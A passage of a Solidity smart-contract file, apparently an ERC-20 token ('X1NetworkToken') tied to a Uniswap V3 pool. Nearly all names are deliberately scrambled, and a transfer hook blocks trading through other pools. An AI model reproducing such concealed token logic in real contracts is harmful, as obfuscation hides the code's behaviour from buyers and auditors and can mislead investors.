fbndfjklnnNFIObniojdobirjboierjgbo8uiou4rhgehhUIHUSDYheg)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(fklbnklNLKNDFbjioergjioerhgioh489gh39784hgHsdjgijioreghj,frjnvbnribnioNIORngiorjegiohjehbiohJSIRejg8erjgjerhg);IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(uint256(-fbndfjklnnNFIObniojdobirjboierjgbo8uiou4rhgehhUIHUSDYheg)),address(this));}return dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy;}function c61915c3ff91()external view returns(address){return address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83);}function ea55d97e3c7a()external view returns(uint256){return rfuignVNDIGULNDRIUghbnlRUIdnlgiusnbriugehori5tg(IUSRDHGOIUhosdrufhgporehgouwseryhgo());}function uniswapV3MintCallback(uint256 usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs,uint256 vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw,bytes calldata rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh)external override{require(msg.sender==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UC");address fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr=msg.sender;(uint256 igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg,uint256 ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(usdfvbhuiosdhriohIOHJIOERSjgoijwserigjowiy84yghuihsuigs,vklnmslkndlJLIJSIRjghoiesrjgijeolijrOIJRiogjrij389ug894wgergw);if(igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg>0){fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei=1;dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,igjiwjsriejgijIOJREIogjiejwhrogujeo0jJRIje8ruge98rerg);require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei==0);}if(ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr>0){address difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe=abi.decode(rfkmjbledkmbikmIOMIORFjghoerjhgho8ie8rihu9458uh84ugh,(address));if(difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe==address(this)){jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transfer(fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr);}else{jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transferFrom(difjgijIOJRjgoiJOIJRIOjgoe8r5ugh89e45rhRUIOhguerhguhe,fjvlkdnfnOLINFDbodirfgboer89ug938e7yhgiusrhgkUHURghuisdhr,ifbujujrt98ugw894htg8huhughvbdo9uUHSRUIhgiuhr);}}}function uniswapV3SwapCallback(int256 vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd,int256 rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks,bytes calldata)external override{require(msg.sender==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UC");address rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug=msg.sender;(int256 rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr,int256 rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(vnfjnjknJKFNDRujghieurhgiuerhIUHRg785hg8475hghuksdrhguksd,rkgnrnuIHNRUIghiuerhg893e4yg87hr5uyghkdurhgukhdks);if(rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr>0)dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug,uint256(rgnenrignLIRGNinegnieorjgeo845j58gj4egjilejr));if(rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e>0)jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs.transfer(rijgdjILJRgjeorihjg8eu5rtyuh98erhuighbKHURghikdug,uint256(rjngioernioNRIOngoihjeoir5ghje90ugUSRug89e));}function IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uint128 dsivniNOSREDIgehjroigje89ru98jkHUIRHghkrhgjkdf,address dkjsnjdnfNJKNKJNSEDrughbuiwsherghwueighw8)private returns(uint256 dngfklnsklnLNSERIOghjiow4rhjerihjeriojgbilejrg,uint256 kslkdfnglnLSIREghoweirhghUISRHguhuirhgerge){(uint256 fikjgijIJIDRjgijeriojh9g8er5uhuejoirhjgkkkdfsg,uint256 kfbkdmLDFjigjeriojghierjghoiejrigjIOFJGdidiorg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.mint(address(this),sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,dsivniNOSREDIgehjroigje89ru98jkHUIRHghkrhgjkdf,abi.encode(dkjsnjdnfNJKNKJNSEDrughbuiwsherghwueighw8));(dngfklnsklnLNSERIOghjiow4rhjerihjeriojgbilejrg,kslkdfnglnLSIREghoweirhghUISRHguhuirhgerge)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(fikjgijIJIDRjgijeriojh9g8er5uhuejoirhjgkkkdfsg,kfbkdmLDFjigjeriojghierjghoiejrigjIOFJGdidiorg);}function UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(uint128 vdfjnjNJKNJKRFngheurhgoijerhj9e8rug9ue8hvujsdfjv,address dhusguishriughiHSERyg789w4ryhgsjegoisjeog)private returns(uint256 dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r,uint256 fjnbkdnfbjnKNRUIhghueiorhgeuirhg5){vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.burn(sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,vdfjnjNJKNJKRFngheurhgoijerhj9e8rug9ue8hvujsdfjv);fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei=1;(uint128 iodrfjgijIJSRIjgORIOgje8rhueeiorgj,uint128 rfgjijrijgOIJISRJpgkpwsrogoefkws77oedkf)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.collect(dhusguishriughiHSERyg789w4ryhgsjegoisjeog,sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge,type(uint128).max,type(uint128).max);require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei==0);(dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r,fjnbkdnfbjnKNRUIhghueiorhgeuirhg5)=IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(uint256(iodrfjgijIJSRIjgORIOgje8rhueeiorgj),uint256(rfgjijrijgOIJISRJpgkpwsrogoefkws77oedkf));require(dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r>0,"NT");oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(dhusguishriughiHSERyg789w4ryhgsjegoisjeog,dnvnsnOSUIEhgosheuirdgbvneioruhg89e4r);}function IUSRDHGOIUhosdrufhgporehgouwseryhgo()private view returns(uint128 jfvskhdujvhIUHUISEDHuifghiwuheguhuiwhe734ij34tjkl3){(jfvskhdujvhIUHUISEDHuifghiwuheguhuiwhe734ij34tjkl3,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.positions(keccak256(abi.encodePacked(address(this),sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh,uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge)));}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address gerioljmgijJIOJREogjhoer8guerjgoiejrg,address fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu,uint256 vnkldxcklsdiojio89894o8rg8rHHIRUhg)internal virtual override requiresLock returns(bool){uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(gerioljmgijJIOJREogjhoer8guerjgoiejrg);uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu);return super.iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(gerioljmgijJIOJREogjhoer8guerjgoiejrg,fhjbnnjnjkmflksoergwoegUYHERgr9ughroi8hu,vnkldxcklsdiojio89894o8rg8rHHIRUhg);}function uirfjnvbsipuhnbitunouiBNOITUDRhboiseurhtogiwh5rt7ighoweritg(address kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj)private{if(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj.code.length==0||kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj==address(this))return;try jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj).slot0()returns(uint160 fvdujkfujuHUFhuhudhbjjkdxfufh,int24,uint16,uint16,uint16,uint8,bool){require(kcvdsvIOJIDjgviosjerigjoimfkvbmiodfjboihfg7rfyg87eidfhbj==address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),"UP");if(fvdujkfujuHUFhuhudhbjjkdxfufh!=dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy){dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy=fvdujkfujuHUFhuhudhbjjkdxfufh;}else{require(fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei>0,"NA");unchecked{fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei--;}}}catch{}}function nujiksnufNIUDBNRFPIghubruioghwortuighbowuirntibpunw(uint256 sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we)private view returns(uint128 vdhdsuuhewiopepofUSEgyh8iyw74rgy7Y7ygyhsuidf){(uint160 dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();vdhdsuuhewiopepofUSEgyh8iyw74rgy7Y7ygyhsuidf=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(dfsjihgviosohoiHIOSHerguiohwuerhgu8hwergue,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,sdjvijOIJSdijgviosjdvbijsoidjvijTGTYEsfweg78we);}function uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(uint256 idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg)private view returns(uint128 fkibnvdfnbnNUIORHguihweirlgeruopwgh78r78er){(uint160 vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();fkibnvdfnbnNUIORHguihweirlgeruopwgh78r78er=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(vjisidjvOIJSERioghjoiwruhg8iuer9heurhe89rhe,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,idfsjgviojsoirjOIJSRIOgjioejsrgo8ieryhu9y8erg);}function ZIUdrnguiHUIRHIPughi7erutgho8i7sr5hg8ow7h45g(uint128 dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh)private view returns(uint256 udjshbvnaslkejmfgoihUSer4t87w4egw87egweg){(uint160 dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();udjshbvnaslkejmfgoihUSer4t87w4egw87egweg=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,dfjvbsjdijpwepfgwieithjbuin8r9gu9e74r5rdgvihsihdg,dfjvijsijJOISJEDRiogjoeirjg89e8ryg7yregyhiueh);}function rfuignVNDIGULNDRIUghbnlRUIdnlgiusnbriugehori5tg(uint128 djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7)private view returns(uint256 dikvjijiojOJISEOhgoihwoieghiowegiohweg){(uint160 djvniIISHJeroighoiherguihweuirh98rg34g,,,,,,)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.slot0();dikvjijiojOJISEOhgoihwoieghiowegiohweg=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd,djvniIISHJeroighoiherguihweuirh98rg34g,djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7):sdjKHSEUIthgihwevjnehfghiw7ue4tw47u.nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(djvniIISHJeroighoiherguihweuirh98rg34g,jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,djijviojiow34563eht346guijknkjUIERghuihwepouirghIUSDR7);}function IUHDRVUIOHSDIERhvlauirdhoy7gwso8ret76gyo8sergv(uint256 idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg,uint256 djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg)private view returns(uint256 doijfgvsiojdIJSIedrhjigo8hyower8igworegre,uint256 fikjvjijIOJSRJgojsiojrigjsiojgjOIOSRDjg){(doijfgvsiojdIJSIedrhjigo8hyower8igworegre,fikjvjijIOJSRJgojsiojrigjsiojgjOIOSRDjg)=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?(idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg,djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg):(djviolsdjioJIOSErgow8erhg9woer8hger9g8ergdfdg,idvjiosjdviJOIJSEDRghjohsre8ig84rg3jksrgsrg);}function BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(int256 dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg,int256 fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e)private view returns(int256 dsnndkujGNsubnUIKREHguieiurghuiehrguidfb,int256 lrfnkgbnjknfiopwejfksdmklfvnsdjkhh7ere4grgreg){(dsnndkujGNsubnUIKREHguieiurghuiehrguidfb,lrfnkgbnjknfiopwejfksdmklfvnsdjkhh7ere4grgreg)=address(this)<address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?(dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg,fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e):(fdijvgbiosdfjiobjOIJOIRFjgiojesriojgioejgierg90i4g9e,dngvsnjnKJSNERkujghuwrhgieuhgiuerhgiherg);}}contract X1NetworkToken is vunIUSEHifghiuhgisuheiughuiS734t7234efghwyseg,duhvushUIOSHDEURIghuishreguihwsuig,dvjnnUSEDHIhusehghiwse78gyhsuhdegvus,dvbnjsnbSUDEHgihsuerhgieweurhg8uwe,IOefowiejfioHJSEUIOhfg{constructor(string memory dfg8uwsiojioUJIOjrgiojsirojgs,string memory ijsidjgviojIOJIOEJgijsioejg,address udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5,idfjiOISJEthgohseudhfvuhbyhsbd memory idjjvcioJIOLSDJgvojegjw8ergwegjiosjd)dvjnnUSEDHIhusehghiwse78gyhsuhdegvus(dfg8uwsiojioUJIOjrgiojsirojgs,ijsidjgviojIOJIOEJgijsioejg,udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5,idjjvcioJIOLSDJgvojegjw8ergwegjiosjd){}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address sdiojvijOIJSEDIOjghfioehjsighuweiohgweg,address idfjvisjviojIJIOSEDRJGIOjsiojergiojsirejgnedociunm,uint256 eiwgujIOUSERIOgyhuiosyhruohgubeisurvbhUYrygvrb)internal override(NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4,dvjnnUSEDHIhusehghiwse78gyhsuhdegvus)returns(bool){return super.iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(sdiojvijOIJSEDIOjghfioehjsighuweiohgweg,idfjvisjviojIJIOSEDRJGIOjsiojergiojsirejgnedociunm,eiwgujIOUSERIOgyhuiosyhruohgubeisurvbhUYrygvrb);}}